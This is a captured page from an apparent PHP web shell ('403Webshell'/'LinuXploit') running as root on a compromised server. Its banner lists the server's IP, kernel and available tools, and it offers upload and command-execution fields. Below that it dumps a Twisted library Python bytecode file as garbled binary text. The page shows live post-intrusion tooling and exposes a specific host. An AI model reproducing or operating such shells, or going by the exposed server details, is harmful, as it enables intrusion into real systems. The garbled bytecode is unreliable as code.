403Webshell
Server IP : 138.197.176.125  /  Your IP : 216.73.217.54
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux SuiteCRM-8 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.3.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/twisted/python/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/twisted/python/__pycache__/shortcut.cpython-38.pyc
U


W[��@s:dZddlmZddlZddlZdd�ZGdd�d�ZdS)z5
Creation of  Windows shortcuts.

Requires win32all.
�)�shellNcCst�}|�|�|S)zg
    Open an existing shortcut for reading.

    @return: The shortcut object
    @rtype: Shortcut
    )�Shortcut�load)�filenameZsc�r�9/usr/lib/python3/dist-packages/twisted/python/shortcut.py�opens
rc@s2eZdZdZddd�Zdd�Zdd	�Zd
d�ZdS)
rz
    A shortcut on Win32.
    NrcCs�t�tjdtjtj�|_|dk	r2|�tj	�
|��|dk	rD|�|�|dk	rV|�|�|dk	rp|�
tj	�
|��|dk	r�|�tj	�
|�|�dS)a�
        @param path: Location of the target
        @param arguments: If path points to an executable, optional arguments
                      to pass
        @param description: Human-readable description of target
        @param workingdir: Directory from which target is launched
        @param iconpath: Filename that contains an icon for the shortcut
        @param iconidx: If iconpath is set, optional index of the icon desired
        N)�	pythoncomZCoCreateInstancerZCLSID_ShellLinkZCLSCTX_INPROC_SERVERZIID_IShellLink�_baseZSetPath�os�path�abspathZSetArgumentsZSetDescriptionZSetWorkingDirectoryZSetIconLocation)�selfrZ	argumentsZdescriptionZ
workingdirZiconpathZiconidxrrr�__init__"s �

zShortcut.__init__cCs |j�tj��tj�|��dS)z1
        Read a shortcut file from disk.
        N)r
�QueryInterfacer	�IID_IPersistFileZLoadrrr
�rrrrrrBs
�z
Shortcut.loadcCs"|j�tj��tj�|�d�dS)z^
        Write the shortcut to disk.

        The file should be named something.lnk.
        rN)r
rr	rZSaverrr
rrrr�saveJs
�z
Shortcut.savecCst|j|�S)N)�getattrr
)r�namerrr�__getattr__TszShortcut.__getattr__)NNNNNr)�__name__�
__module__�__qualname__�__doc__rrrrrrrrrs�
 
r)rZwin32com.shellrr	rrrrrrr�<module>s


Youez - 2016 - github.com/yon3zu
LinuXploit